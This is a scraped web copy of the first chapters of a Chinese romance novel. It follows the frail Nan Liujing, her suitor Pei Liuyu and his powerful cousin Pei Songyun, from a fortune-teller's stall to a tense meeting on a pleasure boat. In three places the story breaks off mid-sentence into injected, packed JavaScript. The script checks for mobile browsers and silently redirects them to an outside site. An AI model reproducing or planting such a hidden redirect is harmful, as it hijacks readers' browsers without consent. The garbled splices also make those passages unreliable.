《望门寡,但万人迷》 1. 私会 朝霞泼金,青烟缭绕。 晨钟撞响了几声,香客们踏着悠长的余音,络绎不绝地进了月老庙。 庙门口的银杏树下支着个算命摊子,一相士倚着树干,满脸的精明算计,目光在来来往往的香客身上打转,倏地一亮。 “女郎留步!” 他摇着扇子冲出去,拦下了一头戴幂篱、落了单的女郎,“难得遇上女郎这样的有缘人,吾不收润金,赠女郎几句话。女郎若不便露面,看手相即可。” 一如相士所料,年轻的女郎涉世未深,被他三言两语便哄得伸出手来—— 白皙得近乎透光的手掌,不见丝毫血色;纤细的指骨,仿佛轻轻一捏仿佛就能折碎;交错的掌纹下,就连蜿蜒的淡青色筋脉也清晰可见。 相士眸光闪了闪,神色有些微妙,张口便道,“女郎掌纹浅淡,明堂凹陷,地纹断续,是命薄福浅、克亲之兆啊!” “……” 女子许是被吓懵了,仍是一声不吭。 相士的口吻愈发严肃,“还有这天纹,天纹主姻缘,可在女郎这儿却足足劈成了几道分叉,还遭横纹截断,杂纹密布,足见情路坎坷!纵使有姻缘天降,也动辄生出变故,贻误终身……” “我呸!” 一上了年纪的仆妇忽然冒出来,一把拉回女子的手,指着相士劈头盖脸一顿骂,“满嘴胡言的江湖骗子,再咒我家女郎一句,信不信我撕烂你的嘴!” 相士吓了一跳,却还是不死心的,“命虽天定,运可人为。这儿有一道护身符,女郎只需随身携带,便可逢凶化吉……” “你还敢……” “伏妪。” 女子终于开了口。 清泠泠的嗓音穿过面纱,有些模糊,情绪难辨。 下一刻,她伸出手,去接相士手里的护身符。 相士面上一喜,又缩回手,“女郎,看相不收润金,可这护身符……” 话音未落,女子已经解下自己腰间的钱袋,与相士交换了护身符。 伏妪微微睁大了眼,刚要叫嚷,却被自家女郎拉着快步离开。 日光渐盛,马车微微颠簸,沿着山道离开了月老庙。 伏妪一脸晦气地坐在车上,喋喋不休。 “这些混江湖的行骗都用同样的话术,见女郎身子弱些,又从月老庙出来,便说什么命薄福浅、情路坎坷,他这次可是诓错人了!” “裴七郎是多少女子求都求不来的姻缘,偏偏非女郎不娶。如今他也说服了双亲族老,不日便要与女郎定亲。若这也叫情路坎坷、婚事不遂,那世上岂不是没有好姻缘了?” “所以那些浑话,女郎可千万别往心里去……” 一旁的南流景终于将幂篱摘了下来,伏妪的话音也戛然而止。 年轻的女郎穿着一袭烟红绉纱裙,怀里抱着白纱幂篱,指间拈着那枚粗劣不堪的护身符。车身轻晃,竹帘外漏进些许日光,投落在她的侧脸上。 那是一张苍白病弱,却足够漂亮的脸孔。 肤色与刚刚伸出的那只手掌一样,白得有些过了。但却是难得的好骨相,轮廓精致,五官秾艳,如同被悬诸壁上的画中人,美得单薄而不真实。 倒是长睫下压着的那双眼,乌黑、水润,亮得惊人…… 与整片荒芜格格不入。 “我本就不信那些。” 南流景偏过头看向伏妪,朝她眨眨眼,“倒是你,伏妪。嘴上说着不信,心里却害怕了。” 伏妪一下涨红了脸,很快又反应过来,“女郎既不信,还买这破符纸做什么?” 南流景将那护身符撕成了几片,随手抛出窗外,煞有介事地重复了一遍,“我真的不信。” 伏妪哼了几声,跟哄孩子似的,“好好好,女郎才没那么傻,女郎就是心善,看那人可怜,才把钱袋都施舍给他了。” 南流景笑了一声,没再说话。 她托着下巴看向车窗外,眼眸里的亮光闪动着,如蜿蜒的流水,淌过荒原,直叫整张脸都添了几分生气。 谁说钱袋里装的一定是铜板?也有可能是毒蜂。 一打开就蜂拥而出,将那嘴里吐不出半句人话的臭神棍蛰成猪头,半个月都出不了门,行不了骗…… - 马车回城时,恰逢宿卫军在为什么人开道,所有人被拦了下来,堵在路边。南家的车夫下车去前头打听了。 车外忽然传来一阵喧嚷,南流景隐约听到了“王师凯旋”几个字。 她微微一愣,再次掀开车帘朝城门口望去。 尘烟滚滚、旌旗曳曳,马蹄声如擂鼓。一队兵马整齐有序地朝城门行进,战甲在霞光下泛着一片烁亮而锋利的金色。 为首的,是两个青年。 一个黑衣猎猎、凛冽肃杀,一个白衣宽袍、如玉如松。 “是裴家三郎和萧大郎君!” 车夫匆匆赶了回来,给出了已经人尽皆知的答案,“叛乱已平,他们率领王师提前回京了。” “……嗯。” 南流景很快收回视线,坐回了车内。 马蹄声渐行渐远,听上去已经进了城门。可宿卫军还不肯放行,百姓们被拦在官道两边,竟也没有丝毫不悦,反而热火朝天地议论起平叛的两位功臣—— 提到萧家那位,便说他单骑救父,又临危受命、力挽狂澜。 提到裴家郎君,则说他运筹帷幄,抚琴一曲,便令敌军溃散、纷纷倒戈…… 马车内,南流景兴致缺缺地垂着眼。 伏妪喜出望外,“裴三郎立了大功,裴氏如日中天,咱们南家与裴家结亲,往后也能在建都扬眉吐气了!” 南流景沉默片刻,忽然问了一句,“你觉得裴松筠会应允我与七郎的婚事?” 裴氏是累世公卿、名门望族,可前些年因皇族内乱折损了不少族人,直到琼枝玉树、少负盛名的三郎君裴松筠做了家主,裴家才又有了复起之势。 如今的裴家,万事皆要问过裴松筠。 包括裴流玉的婚事。 裴流玉行七,也就是伏妪口中的七郎。 裴氏有双壁,皆是清明俊秀的神仙郎君。三郎入仕,平步青云、贵极人臣;七郎在野,十三岁遍历山川,书艺丹青,举世无双。 南家祖上虽然也封过侯,可如今在建都里也只是个没落世族,而且名声不大好听,与裴家远远算不上门户相当。 听得南流景的问话,伏妪愣了愣,“裴氏宗族已经默许了这桩婚事,难道裴郎君还要阻拦不成?而且当年萧家还是寒门时,裴郎君便一意孤行与萧家交好,想必今时今日,也不会因门第出身就轻视女郎……” 南流景细长的眉梢微微挑了一下。 她刚想说些什么,却被外头的车夫打断。 “宿卫军放行了,女郎坐稳。” 马车缓缓驶动,南流景想要说的话在嘴边打了个转,却只吐出三个字,“但愿吧。” - 回府后,南流景先是去见过了南夫人,然后便回了自己的朝云院。 刚踏进院门,一团黑影突然从院墙上迅猛敏捷地窜了下来,直扑伏妪—— 伏妪吓得惊叫一声。 南流景眼疾手快地将伏妪往身后一带,手臂一张,接住了那团从天而降的黑影。 一落进她怀里,那油光如缎的黑色毛球便舒展开来:拉长了腰身,露出雪白的四只爪子。一双琥珀竖瞳仍死死盯着伏妪,凶恶地龇牙咧嘴哈气。 南流景毫不留情地落下一巴掌,“魍魉!” 玄猫的脑袋一沉,胡须一抖,眼神也瞬间清澈了。它委屈巴巴地看了南流景一眼,讨好地在她手背上舔了两口。 “咪……” “欺软怕硬的东西。” 南流景轻叱了一声,看向躲在身后的伏妪,“你越怕它,它就越爱吓唬你。” 听得院门口的动静,一婢女快步迎了出来,递上信筒,“女郎回来得正好,后门传信来了。” 南流景腾出手接过信筒,取出里头的字条。 一丝浅淡的花香随之飘散出来,勾得魍魉的脑袋也凑了过来。 南流景推开它,展开字条,就见上面印着熟悉的清隽字迹。 「酉时三刻,共游北湖。」 “是七郎?” 伏妪问道。 南流景点点头,脸上露出了些许笑意。 她伸手在魍魉探出来的白爪子上揉了几下,声音仍是轻柔的,可语调却变得雀跃松快,“魍魉,你是不是也想去见裴流玉了?” - 月明如昼,水光潋滟。 今夜的北湖比寻常热闹得多。水面上停着数不清的小船。船上星星点点的灯火连成一片,点缀在氤氲缥缈的水雾里,别有一番景致。 南流景就坐在其中一艘乌篷船上,披着黑色斗篷,抱着四蹄踏雪的玄猫。 “方才上船前,奴打听过了……” 伏妪小声对南流景说道,“今夜圣上赐宴,在北湖为裴家三郎和萧家郎君接风洗尘。” 南流景愣了愣。 北湖赐宴,裴流玉不可能不知道,可他却偏偏安排她今夜在此处相见……究竟是有什么要紧的事?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041281|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夜风将雾气吹散,湖中央的巨舫歌台、锦绣华灯若隐若现。围绕着那一片,有哨船层层把守,寻常船只不得通行。 南流景乘的船驶到哨卡外围便拐了弯,在一艘靠岸的画舫边停下。 船夫帮南流景上了画舫,却拦下了伏妪,“郎君让女郎在此稍候片刻,他很快就到。” 乌篷船载着伏妪和船夫驶远,画舫上很快就剩下南流景一人。 魍魉从南流景的斗篷里探出了个脑袋,然后便迫不及待地一跃而下,飞快地窜进了船舱里。 南流景跟了进去,却见船舱里相对排布着四个条案,条案上还备好了珍馐佳酿。 她心头一跳,顿在原地。 不对,这分明是要招待宾客的架势…… 就算裴流玉真的要带她见什么人,也绝不会事先连声招呼都不打…… “魍魉,我们得走了。” 南流景伸手,想将四处巡逻的玄猫捞起来,没想到却被它当成了寻常的逗乐。 一人一猫你追我赶,待到她终于弯着腰将猫堵在角落,强行抱进怀里时,外头忽然传来了些许人声。 伴随着碰撞的声响,几道人影已经接二连三地上了船。 “你们这一出去平叛就是两年。好不容易回来了,同那些人喝酒有什么意思?早该找个由头溜出来。” 率先传来的,是一道婉转却不娇柔,甚至有些低沉模糊的女声。 南流景无路可逃,抱着猫躲在屏风后的角落里,脸色微微一变。 寿安公主,贺兰映。 这声音她绝不会认错。 那么跟着贺兰映一起上船的…… 南流景屏住呼吸,侧头。 屏风是丝绢制成的,模模糊糊能看见外头落座的四人。只能瞧见衣裳的颜色和身形,看不清面容。 “方才宴上,一个个说得好听,实际上巴不得你们都死在外头。” 又是贺兰映的声音,“真心替你们二人接风的,恐怕都在这条船上了。” 顿了顿,她话锋一转,意有所指地拉长了语调,“总之本宫是真心盼着你们回来,至于裴流玉么……本宫可就说不准了。他今日倒是郁郁寡欢,好似有心事呢。” “你又胡说什么!兄长和陵光回京,我怎么可能不高兴?!” 分明是最熟悉不过的嗓音,可里头暗含的薄怒、不耐却是陌生的。 在南流景面前,裴流玉从来都是柔声细语的,绝不会用这种口吻说话。 “是么?本宫还以为,你盼着你兄长再晚些回来,好叫你先斩后奏,将新妇迎娶进门呢……” “贺兰映!” 裴流玉的薄怒变成了盛怒。 怀里的魍魉被吓得一抖,南流景抱着它的手微微收紧。 船舱内倏地静了下来。 半晌,才有一道陌生的冷沉嗓音打破沉寂。 “你要成婚?” 听着情绪没有什么起伏,只是单纯好奇,想来应当是那位萧大郎君。 “……是。” 裴流玉似乎是深吸了一口气,“我已有意中人。” “是好事。” 萧陵光在状况之外,“哪家女郎?” “南家。或许你没听过……” “快要绝户,养女攀高门的那个南家?” 萧陵光直言不讳,“听说过,不过都是些难听的话。” 贺兰映噗嗤一声笑了出来,笑声越来越放肆,越来越刺耳。 若不是怀里还抱着魍魉,南流景都想塞住自己的耳朵。 裴流玉的声音也沉了下去,“南家的名声和她没关系。我爹娘已经见过她,都觉得她很好,我们……” “流玉。” 一直沉默不语的第四人终于开了口,“裴家何人做主,你还记得么?” 这声音无波无澜,甚至含着几分笑意,可落在南流景耳里,却还是叫她打了个寒颤。 突然,魍魉像是受了什么刺激,猛地挣扎起来,从她怀里一下跳了出去。 “什么人!” 屏风那头骤然传来一声冷喝。 与此同时,一道寒光破开屏风,挟着杀意,扑面而来。 南流景甚至来不及反应,只觉得颈间一冷,身上的斗篷一松,然后便有一股力道逼得她踉跄着后退了几步。 “咚!” 一柄短刀挑穿她的斗篷,狠狠地钉在了墙上。 下一瞬,那扇被破开一道口子的屏风也被一脚踹翻,轰然倒地。 南流景惶然抬眼,对上了携刀而立、杀伐狠厉的萧陵光。 2. 初见 屏风重重地倒在地上,连带着整座画舫都晃了两下。 灯树上的烛火不安地窜动,光华掠过倒地的屏风,和着众人的目光,一齐落在受了惊的女子身上。 斗篷被挑落,她僵立在原地。 乌发高挽,妆容清淡。一袭柔蓝色绡纱春衫,素白湘水裙。漂亮却孱弱,好似一件不小心被揭了布的稀世白瓷,叫人连呼吸都不自觉放轻,唯恐再重一分,便会招来个玉碎香消。 饶是在战场上杀人不眨眼的萧大郎君,在看清眼前人时,眉宇间的杀意也凝滞了一瞬。 “……妱妱?!” 一道身影飞快地冲了过来,挡在了南流景面前。 压迫感倏然散去,她慢慢缓过神。 来人身着水墨袍衫、腰系金扣玉带。容貌俊美,墨发半束,耳后垂下两缕编发,气度清逸,琳琅如玉—— 正是她的情郎裴流玉。 萧陵光回过神,按在腰间佩刀上的手一松,目光在裴流玉与南流景之间扫了一个来回,了然。 “不愧是南家女。” 听出他言语里的讽意,裴流玉蹙眉,“陵光!” 萧陵光退到一旁,事不关己地倚着舱壁,不再说话。 裴流玉复又看向南流景,“妱妱,你怎么会在这儿?谁带你过来的?” 他一边压低声音问她,一边将她往暗处带。然后侧过身,将身后那些目光挡得严严实实。 “我收到了你的字条,酉时三刻来北湖相见。” “什么?我今日并未……” “不是你写的。” 南流景抿唇,目光越过裴流玉的肩头,“我现在知道了。” 不远处,身着织金红裙的寿安公主坐在案几后,鬓发如云,金步缓摇。那双淡金色眼眸直勾勾地看过来,透亮而多情。 即便已经被贺兰映明里暗里羞辱过好几次,可再看见这张脸时,南流景还是会没出息地多看两眼。 好漂亮的一张脸…… 好恶毒的一颗心! 顺着她的视线,裴流玉茫然地转头,也看见了似笑非笑的贺兰映。 他意识到什么,脸色倏地冷了下来,刚要动作,袖袍却被南流景牵住。 南流景朝他摇了摇头。 “裴流玉,人都来了,还不快带出来给你兄长瞧瞧?” 那道雌雄莫辨的嗓音又传了过来,口吻讥诮而轻佻,“藏着掖着,鬼鬼祟祟的,莫不是你也觉得南家的女郎见不得人?” 裴流玉身形一僵,随手扯过被钉在墙上的斗篷,往南流景身上一披,“……今日时机不好,我先送你下船。” 这正合了南流景的心意。 她一刻都不想再在这艘船上多待了。 可临走时,她却忽然发现自己忘了什么。 “等等,魍魉……我把魍魉也带来了……” 裴流玉一愣。 南流景将他推开了些,视线在船舱内扫了一圈,却愣是没看见那只四蹄踏雪的玄猫,反而对上了抱臂靠在一旁的萧陵光。 萧陵光一身黑衣胡服,剑眉冷目,眸光锐利。 这位萧郎君虽也生得俊朗,可气质实在凶悍,南流景有些怕他,刚要躲开视线,就见他面无表情地抬了抬下巴。 南流景怔了怔,顺势转头。 离灯树最近的食案后,裴流玉的兄长、裴氏家主裴松筠端坐在桌边,雪色深衣、烟墨纱袍,手执一把玉柄麈尾,轻轻地摇动着。 而他怀里,赫然躺着一只不知死活的玄猫,甚至还呼噜个不停,翻滚着露出了肚皮,伸出一只已经灰扑扑的爪子去够那摇动的麈尾。然后在裴松筠的袖袍上踩下了脏兮兮的爪印…… “……” 南流景眼前一黑,差点连气都没喘上来。 察觉到她的气息不对,裴流玉立刻安抚地握了握她的手,然后朝裴松筠走过去。 “兄长,我先送他们回去……” 裴流玉拍了两下手,唤道,“魍魉。” 素日里最爱粘着他的玄猫今日也不知怎么了,竟是将他的声音当做耳旁风,仍是一味地去扑裴松筠手里的麈尾。 裴松筠垂眼盯着猫,唇畔仍噙着笑。 “都打算过定了,还不敢将人带到我跟前来?” “……” 裴松筠与裴流玉是堂兄弟。 都是裴家的儿郎,二人生得有五分相似,一样的清明俊秀、温润文雅。 只不过比起裴流玉的天真随和,裴松筠年长几岁,本就更沉稳,又在朝堂和沙场上历练了数年,二人之间的悬殊便愈发明显。即便是笑着坐在那儿,也带着几分威慑和压迫,叫裴流玉说不出反驳的话来。 南流景攥了攥手,缓步走过去,站到了裴流玉身边。 离得近了,她甚至闻见了一丝浅淡冷冽的雪松香气。是裴松筠身上的熏香,可飘过来的一瞬,却好似掺了腥气,搅得她五脏六腑都在翻腾,几乎想要干呕。 她强自忍耐,不敢露出半分异样,福身向裴松筠行礼。 “南氏流景,见过裴三郎君。” 她低着头,长睫垂落,在眼下投落了两片颤动不安的浅影。脸颊清瘦,雪白的肤色即使是靠近了灯树,也没有暖上几分。嗓音亦是轻柔乖顺的,没有丝毫攻击性。 漂亮、病弱、楚楚可怜,这几乎是南流景留给所有人的第一印象。 裴松筠终于掀起眼,笑着看向南流景,“你很怕我?” “……” 南流景呼吸一滞,手脚开始发冷。 “以前见过我?” 裴松筠又问道。 南流景的指尖在掌心狠狠掐了一下,摇了摇头,面上看不出丝毫端倪。 “虽久闻郎君盛名,今日却是第一次见。” 裴松筠脸上的笑似乎淡了些。他打量着南流景,竟又问了一次,“是这样么?” 南流景下意识要答是,可话到嘴边却又动了别的心思—— 她也想不怕死地试探一下裴松筠。 “我的记性不是很好,或许从前与郎君有过一面之缘,但又忘了……” 她轻声细语地反问道,“裴三郎君是在何处见过我吗?” 裴松筠沉默,双眸如万顷之陂,幽幽难测。 “兄长定是认错人了。” 裴流玉斩钉截铁地,“妱妱她自幼身子骨弱,养在深闺轻易不出门,怎么可能与兄长有过什么一面之缘?” 裴松筠看了裴流玉一眼,颔首,“时辰不早了,南家娘子与我等共乘一船,不合规矩。流玉,你速速吩咐人送她回府,以免传出什么闲话,多生事端。” 裴流玉应了一声,伸手去捞魍魉,谁料被它扭头“哈”了一声。 裴流玉的手僵在半空中。 “这玄猫倒是喜欢你。” 萧陵光冷不丁从后头冒出一句。 裴松筠掀了掀唇,抬手推了一下魍魉,“养不熟的畜生而已,谈何喜欢。” 一句玩笑话,叫南流景听出了轻蔑侮辱之意。 偏偏某个狼心狗肺、卖主求荣、认贼作父的畜生听不懂,还在那儿摊着个肚皮,撒娇卖乖…… 南流景眼神微冷,突然腰身一弯,手一探,五指揪住魍魉脖颈上的肉,毫不客气地将它拎了出来,摁进自己怀里。 动作敏捷、迅速,甚至有些粗鲁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041282|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>然而再直起身时,她又变回了那座弱柳扶风、碰也碰不得的漂亮白瓷,声音也轻如游丝。 “今日搅扰诸位了,告辞。” 裴流玉追着南流景出了船舱。接引的小船就停在不远处,裴流玉一示意,船夫便赶紧靠过来。 “我亲自送你……” 裴流玉还想上船,却被南流景轻轻推开。 “我想一个人静一静,你还是回去替你兄长接风吧。” “妱妱……” 南流景抬起头,朝裴流玉笑了一下,然后便转身上了船。 船桨荡开水波,缓缓驶离画舫。 一片昏黑里,南流景精疲力竭地靠向舱壁,后背隐隐传来冰凉的湿濡感,是不知何时冒出来的冷汗。 舟行水上,万籁俱寂,耳畔唯有柔和平稳的水声。 南流景逐渐平复了心情,整理起纷乱的思绪。 今夜引她来北湖的人,定是贺兰映无疑。 自从她与裴流玉的来往被外人知晓,在建都传出风言风语后,这位寿安公主便按耐不住了。 在不少贵女云集的场合,贺兰映都给过她难堪,但没有一次是亲自出面。 公主到底是公主,矜贵傲慢,不屑与她这样身份低微的人计较。于是云里雾里地透露个只言片语,便会有一群揣测心意的人替她出气。 就像今夜—— 将她诓骗到船上,推到裴流玉的至亲好友跟前,然后什么都不必多说,旁人对她的态度便已是一种羞辱。 其实她早就习惯了这种手段,也能淡定自若地应对各种奚落…… 如果不是再一次见到裴松筠的话。 几年前,她和裴松筠的确有过一面之缘。 - 回到南府时,夜色已深。南流景强打起精神沐浴更衣,然后便熄灯躺下了。 枕边一沉,一只毛乎乎的爪子在她鬓发上踩了两下。南流景还生着气,又倦了,没有理撒娇的玄猫。 隐隐约约的,一丝幽微的雪松香气潜入鼻息,叫她沉沉地陷入了梦境。 黑暗中,先是刀剑声,然后是尖叫。一片混乱狼藉里,她似乎是逃了出来,然后沿着看不到尽头的林地,一直跑,一直跑…… 眼前的光再次亮起时,她已经换上了一身婢女衣裙,跟在队伍最末入了席。 南流景浑浑噩噩地愣在原地,有人推了她一把。 「还愣着做什么?去侍酒。」 席上清歌妙舞,觥筹交错。不少宾客已经醉了,侍酒的婢女一靠近,便被他们揽入怀中、上下其手。 南流景不敢多看,飞快地收回视线,刚哆嗦着手斟完一杯酒,便被她侍奉的宾客接了过去。 探入视野中的那只手修长白皙、骨节分明,叫她忍不住又抬起了头。 入目便是纤尘不染的白衣宽袍,端正的坐姿,挺直的脊梁,还有那张太过年轻,与席间其他人格格不入的如玉面孔。离得近了,甚至还能嗅见他袖袍间飘出一丝好闻的香气…… 那人转头对上她的视线,眉心微微拧了一下。 「你……多大了?」 「十,十三。」 「……」 沉默片刻,那人朝她笑了笑。 「我自己来,你下去吧。」 温柔且无奈的声音,叫南流景有些犯晕。她茫然地扫视了一圈,不知该去何处。 那人不动声色地朝身后指了一下。 她反应过来,然后起身挪步,如同一只归巢的雏鸟,默默缩进了阴影处。 还好,还好她碰上的,是这位心善的年轻郎君…… 舞乐声里,她听见有人唤他「裴三郎」。 3. 试探 南流景醒来时,天还未亮。 月落星沉,帐内一片漆黑。她怔怔地睁着眼,胸口仿佛被什么压着、堵着,沉甸甸的,喘不过气。 好一会儿,她才慢慢地抬起手,将卧在胸口的玄猫推了下去。 魍魉不大高兴地扭头看了她一眼,跳下地跑了。 胸口的重压消失,南流景却是没了睡意,只能睁眼到天明。 “女郎今日的脸色怎么如此差?” 伏妪一见她,便吓了一跳,扭头就要往外走,“奴去叫大夫……” “不必了,伏妪。” 南流景披头散发地坐在榻边,没什么精神,“只是昨夜睡得不好,并无大碍。” 伏妪仍是不放心,走过来用手贴了贴南流景的额头,又掀起她的袖口,看她身上有无红疹。 如此谨小慎微地检查了一番,发现南流景并无其他异样,只是神色困倦,伏妪这才松了口气。 “女郎浅眠,往后夜里还是将魍魉关进奴的屋子里吧。” “还有今日的药膳,奴吩咐他们做些清心安神的。” “对了,库房里还有些安神香,是年前女郎睡不好时,七郎特意寻来的。今夜也点上吧。” 南流景幽幽地叹了口气。 伏妪如临大敌地转身看她。 南流景眨了眨眼,摆出笑脸,“好吧好吧,都听你的。” 虽然不愿承认,可她的确是个身娇体弱的病秧子。 娇弱到有时候多吹了一阵风,多吃了一口菜,都可能病来如山倒。轻则头疼脑热,浑身起红疹,重则心悸咯血,五脏六腑都疼得厉害…… 她这身病蹊跷古怪,寻常大夫都摸不着头脑。唯有裴流玉请来的一个江湖郎中,才能对症下药。 这郎中虽不能让她痊愈,却知道如何用药、如何养身。于是各种万金良药吊着,再加上伏妪无微不至地照顾着,她已经很久没有发病了。 不过偶尔有时候,南流景也会想。若是哪日离了这些名贵的汤药,离了伏妪,她会是什么下场。 然后她就不敢想了。 - 用完早膳,伏妪就吩咐人将屋中的贵妃榻搬到了院中。 南流景靠在榻上翻着书,还没翻几页,困意却上来了,于是将书往脸上一盖,昏昏欲睡。 “女郎,七郎送信来了。” 伏妪的声音忽然传来。 南流景懒懒地闭着眼,伸出手。可等了一会儿,却没有信放上来。 “信呢?” 她闷声问了一句,手在空中胡乱挥了挥,往下落时,忽然被一只手掌托住。 宽大的,温暖的,带着薄茧…… 是男人的手掌。 南流景愣了一下,却没挣开。 “送信的人说,今日要当面把信交给女郎才放心。” 伏妪的声音飘远了,明显带着笑意,然后便是一阵脚步声和院门关上的声响。 手被轻轻捏了两下,南流景慢吞吞地坐起身,脸上盖着的书滑落,正对上跟前站着的人。 一袭水墨袍衫,玉冠编发,果然是裴家的小郎君。 裴流玉出入朝云院,就像出入自家门庭。南府的人撞见了只会装瞎,而朝云院里本就都是他的人。 “怎么这个时候过来了?” 裴流玉在她身边坐下。离得近了,南流景看见他眼下有些泛青,神情也蔫蔫的。 “没睡好么?” 她不问还好,一问,裴流玉半抬着眼瞧她,模样既疲惫又委屈。 “昨晚你不许我送你回来。我放心不下你,自然是彻夜难眠。” “……就为了这个?” 南流景小声,“我还以为是我昨夜贸然闯到北湖,给你惹了麻烦。” “没有的事。” 裴流玉压低声音,眉宇间隐隐露出一抹郁色,“迟早,迟早也会有这么一天的……” 没等南流景听清,他便转移了话题,“昨日约你去北湖的人,的确是贺兰映。我身边有人被她买通了。” 意料之中的事,南流景点点头,“你的事,寿安公主一向在意。” “……” 裴流玉握着她的手一紧,神色忽然变得十分微妙,“我与她绝非你想的那样!” 南流景面露不解,“那是什么样?” 裴流玉睁大眼,像一口咽下了蝇虫似的,咬牙切齿,欲言又止。 “不论什么样,这种事往后不会再发生了。你离贺兰映远些,千万莫挨他。” “……哦。” 二人静了一会儿,谁都没说话。 南流景又有些困了,掩唇打了个哈欠,眼角挤出了点泪花。 裴流玉犹豫着转过头,刚好望进她微微泛红的眼睛里,试探的声音更轻了,“妱妱,你从前见过我兄长么?” “……” 南流景眼睫一颤,对上裴流玉的视线。 四目相对,僵持了片刻。率先败下阵的竟是裴流玉。 “我没有别的意思,我只是……” “我不知道啊。” 南流景小声打断了他,眼眸黑白分明,无辜而可怜,“七郎,你忘了吗?你把我捡回去的时候,我失忆了。” 裴流玉一怔。 “遇见你之后,我的确没见过你兄长。可失忆前的事,我真的不知道……我也想不起来……” 话音未落,她就被裴流玉拥进了怀里。 “嗯,我知道……” 裴流玉抱着她,先是用了十分的力气,很快又想起她怕痛,松了七分,动作小心地像是把她弄碎了。 他在她耳畔柔声道,“那就不想了,什么都不用想了。” 南流景垂着眼,神色复杂。 比起道貌岸然的裴松筠,裴流玉太单纯,也太善良了。 当年她装作失忆骗他的时候,演技比现在还要拙劣,可他也看不出丝毫端倪,只红着脸安抚她。 「想不起来,那就不想了。」 「安心留在这里养病,我会护你周全的。」 南流景叹了口气,将下巴搁在裴流玉肩上,漂亮的脸孔在日光下白得透明。 “如果你兄长真的见过我,那应当是知道我从前的身份。平民百姓也就罢了,要是作奸犯科,为奴为婢……” 要是她真的失忆了就好了…… 失忆的人没有过去,不会心虚,不会歉疚。 “七郎,若我的出身比南家女还上不得台面,是不是就不能嫁给你了?” 裴流玉沉默片刻,松开了她。 然后左看右看,打量着她的表情,眉梢一挑,“哪有人这么编排自己?我也问你一句,若你当初没有落难,没有失忆,我于你也没有救命之恩,你还愿不愿意嫁给我?” 南流景想了想,回答了“愿意”。 裴流玉唇角倏然一扬,笑起来。 一转眼的功夫,垂头丧气的裴流玉已经消失了。 取而代之的,是志得意满、眸若晨星的裴小郎君。 裴小郎君视线下移,忽然低头凑了过来, 距离越来越近,近到已经突破了二人从前相处的界限。 南流景的身子微微一僵。 凭心而论,她应当是喜欢裴流玉的。 这样一个少负盛名、天真旷达的少年郎,相处久了,怕是没有女子会不为之动心。更何况裴流玉还是她的恩人,她这条苟延残喘的性命,至今还在他的“生杀予夺”之间…… 可裴流玉的呼吸近在咫尺时,她竟然还是不习惯。 鼻尖相触时,裴流玉停了下来。 “不躲开吗?” 他声音很低。 口吻不像问句,反倒像是在恳求——别躲开。 南流景有些迟疑。 还没等她给出答案,裴流玉的手掌已经托在她的脑后。 下一刻,唇上传来温软的触感。 日光透过树叶缝隙照下来,南流景睁着眼,将裴流玉那双淡如远山的眉眼看得清清楚楚,整个人也像是被揉皱丢了进去,浸在了一片潮湿的雾气里…… 裴流玉不敢过火,先是蜻蜓点水地亲了两下。见南流景没有推开他的意思,才大着胆子,吮了一下她的下唇。 南流景一瞬间头皮发麻,手指扣紧了榻沿。 裴流玉也没好到哪儿去。他猛地退开,喉结动了动,脸和耳朵烧红了一片,“我,我先回去了。” 他匆匆起身要走,突然想起什么,又回头说了一句,“妱妱,不论你从前是谁,现在你就是南家五娘。只要南家认你,我认你,谁还能说你不是南流景呢?” 南流景摸着唇瓣,有些失神。 - 裴流玉一走,伏妪就回来了。 她盯着南流景气色红润的脸颊瞧了好几眼,嘀咕着裴家七郎比药还好使。 “……” 南流景在院子里坐不住了,回屋里睡了一觉。再醒来时,朝云院却迎来了一位不速之客。 “小五。” 已经出嫁的南二娘子笑盈盈地走进屋子,“近日身子可好些了?我得了些好补品,特意带回来,让伏妪今日就给你用上。” 南流景虽住在南府,担着南家五娘子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041283|194689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的名号,可实际上与南家人却是井水不犯河水,与这位南二娘子更是没见过几面。能让她这样找上门来,那定是有事相求了。 果然,南二娘子嘘寒问暖没几句就透露了来意。 今日漱雪庐有场竞卖,据说里头有一批西域的金银奇宝,从前还是贡品。 南二娘子想去见见世面,可漱雪庐一贯是世族子弟交游的会场,不是人人都能进,需得持有印信。而能得漱雪庐印信的,非富即贵。 偏巧南流景手上有一枚,是裴流玉塞给她的。 “小五,你就陪二姐姐去一趟,成不成?” 南二娘子央求道,“听说这次还有些见都没见过的药草。给你治病的那郎中不是在寻什么奇药么,说不定你去了能有惊喜呢?” “……” 南家女郎个个聪颖,煽惑人心这件事更是手到擒来。 南流景被说动了,拿上印信同南二娘子一起去了漱雪庐。 今日的漱雪庐格外热闹,比从前办什么书画雅集时足足多了两倍的人。而且一眼望去,几乎都是戴着幂篱的女子。 